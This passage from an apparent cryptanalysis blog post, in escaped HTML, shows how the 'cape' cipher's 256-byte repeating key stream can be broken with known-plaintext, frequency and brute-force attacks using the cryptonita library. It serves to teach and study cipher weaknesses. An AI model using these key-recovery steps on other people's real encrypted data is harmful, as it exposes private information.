&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;plaintext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;assets/cape_encryption/1.txt&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;rt&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="too-short-key-stream"&gt;Too short key stream&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;cape_hash&lt;/code&gt; cipher is as follows:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;uint8_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;srk&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cape&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;salt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cape&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;reduced_key&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint16_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;uint8_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;isrk&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;srk&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;destination&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;source&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;isrk&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cape&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;isrk&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cape&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;cape-&amp;gt;reduced_key&lt;/code&gt; is a 8 bits secret value derived from the secret key &lt;code&gt;cape-&amp;gt;key&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We will consider that &lt;code&gt;cape-&amp;gt;salt&lt;/code&gt; as secret too.&lt;/p&gt;
&lt;p&gt;&lt;label for='ClRlY2huaWNhbGx5LCBpdCBjYW4gaG9sZCA2NTUzNiBieXRlcyBidXQgdGhlIGxlbmd0aCBpcyBhIDE2IGJpdHMKdW5zaWduZWQgaW50ZWdlciBzbyB3ZSBsb3N0IG9uZSBudW1iZXIgd2FzdGVkIGJ5IHJlcHJlc2VudGluZyB0aGUgMCBsZW5ndGgKbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClRlY2huaWNhbGx5LCBpdCBjYW4gaG9sZCA2NTUzNiBieXRlcyBidXQgdGhlIGxlbmd0aCBpcyBhIDE2IGJpdHMKdW5zaWduZWQgaW50ZWdlciBzbyB3ZSBsb3N0IG9uZSBudW1iZXIgd2FzdGVkIGJ5IHJlcHJlc2VudGluZyB0aGUgMCBsZW5ndGgKbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Technically, it can hold 65536 bytes but the length is a 16 bits unsigned integer so we lost one number wasted by representing the 0 length
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Despite that &lt;code&gt;cape-&amp;gt;key&lt;/code&gt; can hold 65535 bytes, &lt;code&gt;isrk&lt;/code&gt; has only 8 bits and therefor the &lt;code&gt;isrk ^ cape-&amp;gt;key[ .. ]&lt;/code&gt; can only give 256 bytes and after that it will repeat itself.&lt;/p&gt;
&lt;p&gt;That means that plaintext of more than 256 bytes will be xored with a &lt;em&gt;repeating&lt;/em&gt; key stream and we know &lt;a href="/articles/2018/03/01/In-XOR-We-Trust.html"&gt;how to break this&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="partially-known-plaintext-attack"&gt;(Partially) Known plaintext attack&lt;/h2&gt;
&lt;p&gt;Because the key stream is repeating &lt;em&gt;within&lt;/em&gt; the encryption of a single plaintext, if we know a part of the plaintext we can break the rest.&lt;/p&gt;
&lt;p&gt;Given the first 256 bytes of the plaintext, the 256 key stream are trivially found:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;known_plaintext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;plaintext&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;kstream&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;known_plaintext&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then, we decrypt the rest of the message just xoring the ciphertext with the key stream reapeating it each 256 bytes:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;dmsg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;kstream&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;inf&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;dmsg&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;plaintext&lt;/span&gt;
&lt;span class="kc"&gt;True&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;If the original &lt;code&gt;key&lt;/code&gt; has less than 256 bytes, the amount of known plaintext required is less: the same amount of bytes that the key has.&lt;/p&gt;
&lt;h2 id="ciphertext-only-attack"&gt;Ciphertext only attack&lt;/h2&gt;
&lt;p&gt;Even if we don’t have access to a known plaintext, we can mount an &lt;em&gt;ciphertext only attack&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Take the ciphertext and split it in blocks of 256 bytes each. Then, stack them so you will have a matrix of 256 columns.&lt;/p&gt;
&lt;p&gt;The last row, however it could contain less bytes (because the ciphertext length is not multiple of 256); for simplicity we are dropping it.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.conv&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;transpose&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;uniform_length&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;2852&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;tmp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;nblocks&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;tmp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;uniform_length&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;   &lt;span class="c1"&gt;# drop any shorter row&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Because the key stream is repeated, each column will be xored with the &lt;em&gt;same&lt;/em&gt; key stream byte.&lt;/p&gt;
&lt;p&gt;If this matrix is transposed, each &lt;em&gt;row&lt;/em&gt; will be xored with the same key stream byte:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;tciphertexts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;transpose&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tciphertexts&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;# rows&lt;/span&gt;
&lt;span class="mi"&gt;256&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tciphertexts&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="c1"&gt;# columns&lt;/span&gt;
&lt;span class="mi"&gt;11&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3 id="frequency-attack"&gt;Frequency attack&lt;/h3&gt;
&lt;p&gt;Given the fact that the plaintext is written in ASCII English, we can mount a frequency attack.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;freq_attack&lt;/code&gt; assume that one of the &lt;code&gt;most_common&lt;/code&gt; plaintext symbols is in the &lt;code&gt;ntop&lt;/code&gt; of the ciphertext symbols, encrypted of course.&lt;/p&gt;
&lt;p&gt;In this case we are going to use the famous &lt;code&gt;ETAOIN SHRDLU&lt;/code&gt; model.&lt;/p&gt;
&lt;p&gt;&lt;label for='CkFzIHJ1bGUgb2YgdGh1bWIgNjQgYnl0ZXMgaXMgY29vbC4gbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkFzIHJ1bGUgb2YgdGh1bWIgNjQgYnl0ZXMgaXMgY29vbC4gbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
As rule of thumb 64 bytes is cool.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;For longer ciphertexts you can set &lt;code&gt;ntop = 1&lt;/code&gt; and assume that the most frequent cipher-symbol is one of the most common plaintext symbols encrypted.&lt;/p&gt;
&lt;p&gt;But with only &lt;code&gt;len(tciphertexts[0]) == 11&lt;/code&gt;, we need to set &lt;code&gt;ntop&lt;/code&gt; to higher value.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.scoring.freq&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;etaoin_shrdlu&lt;/span&gt;   &lt;span class="c1"&gt;# byexample: +timeout 10&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.attacks&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;freq_attack&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;most_common&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;etaoin_shrdlu&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ntop&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Under this hypothesis, a possible byte key is just the xor of those two: in the worst case we will have &lt;code&gt;len(most_common) * ntop&lt;/code&gt; guesses:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most_common&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;ntop&lt;/span&gt;
&lt;span class="mi"&gt;65&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;But in the practice we have less (duplicated are removed):&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;gkey1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;freq_attack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tciphertexts&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;most_common&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ntop&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;gkey1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;44&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;label for='CldpdGhvdXQgYSBmcmVxdWVuY3kgYXR0YWNrIHdlIGNvdWxkIHRyeSB0aGUgd2hvbGUgc3BhY2Ugb2YgMjU2IGJ5dGVzLiBJdCBpcwp0b3RhbGx5IGZlYXNpYmxlIGJ1dCBpdCBpcyBmYXN0ZXIgdG8gZG8gYSBmcmVxdWVuY3kgYXR0YWNrIGZpcnN0IHRvIHJlZHVjZQp0aGUgc2VhcmNoIHNwYWNlIG1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CldpdGhvdXQgYSBmcmVxdWVuY3kgYXR0YWNrIHdlIGNvdWxkIHRyeSB0aGUgd2hvbGUgc3BhY2Ugb2YgMjU2IGJ5dGVzLiBJdCBpcwp0b3RhbGx5IGZlYXNpYmxlIGJ1dCBpdCBpcyBmYXN0ZXIgdG8gZG8gYSBmcmVxdWVuY3kgYXR0YWNrIGZpcnN0IHRvIHJlZHVjZQp0aGUgc2VhcmNoIHNwYWNlIG1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Without a frequency attack we could try the whole space of 256 bytes. It is totally feasible but it is faster to do a frequency attack first to reduce the search space
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;gkey1&lt;/code&gt; is &lt;em&gt;a guess&lt;/em&gt;: the most likely possible values for the first byte of the key stream.&lt;/p&gt;
&lt;h3 id="brute-force"&gt;Brute force&lt;/h3&gt;
&lt;p&gt;We can discard some guesses if they produce the wrong plaintext.&lt;/p&gt;
&lt;p&gt;&lt;label for='CkV2ZW4gaWYgdGhlIGFscGhhYmV0IG9mIGFsbCBBU0NJSSBwcmludGFibGUgaGFzIDEwMCBzeW1ib2xzIGFuZCB0aGUgcHJvcG9zZWQgaGFzCjY0IHN5bWJvbHMgKG1vcmUgdGhhbiBoYWxmKSwgdGhlIGltcGFjdCBvZiB0aGlzIGlzICoqZW5vcm1vdXMqKiByZWR1Y2luZyB0aGUgZ3Vlc3NlcwppbiB0d28gb3IgbW9yZSBvcmRlcnMgb2YgbWFnbml0dWRlLiBtYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkV2ZW4gaWYgdGhlIGFscGhhYmV0IG9mIGFsbCBBU0NJSSBwcmludGFibGUgaGFzIDEwMCBzeW1ib2xzIGFuZCB0aGUgcHJvcG9zZWQgaGFzCjY0IHN5bWJvbHMgKG1vcmUgdGhhbiBoYWxmKSwgdGhlIGltcGFjdCBvZiB0aGlzIGlzICoqZW5vcm1vdXMqKiByZWR1Y2luZyB0aGUgZ3Vlc3NlcwppbiB0d28gb3IgbW9yZSBvcmRlcnMgb2YgbWFnbml0dWRlLiBtYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Even if the alphabet of all ASCII printable has 100 symbols and the proposed has 64 symbols (more than half), the impact of this is &lt;strong&gt;enormous&lt;/strong&gt; reducing the guesses in two or more orders of magnitude.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Knowing that the plaintext has a reduced set of ASCII printable of letters, numbers and only a few punctuation symbols we can narrow the set of guesses further:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;functools&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;partial&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.scoring&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;all_in_alphabet&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;alphabet&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt; !&amp;#39;,-.012356789?ABCDEFGHIJLMORSTVWY[]abcdefghijklmnopqrstuvwxyz&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;all_in_alphabet&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;partial&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;all_in_alphabet&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;alphabet&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;alphabet&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, we filter out any key that the decrypted message does not fit in out plaintext model.&lt;/p&gt;
&lt;p&gt;Once again we will obtain a &lt;strong&gt;guess&lt;/strong&gt;, but a shorter one this time:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.attacks&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;brute_force&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;gkey1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;brute_force&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tciphertexts&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;score_func&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;all_in_alphabet&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key_space&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;gkey1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;gkey1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Repeating this for all the 256 ciphertexts should yield a 256 list of guesses:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;gkeys&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;tciphertexts&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;                          &lt;span class="c1"&gt;# byexample: +timeout=10&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;gk&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;freq_attack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;most_common&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ntop&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;gk&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;brute_force&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;score_func&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;all_in_alphabet&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key_space&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;gk&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;gkeys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;gk&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This a &lt;em&gt;product&lt;/em&gt; and the set will grow exponentially:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.fuzzy_set&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;len_join_fuzzy_sets&lt;/span&gt;
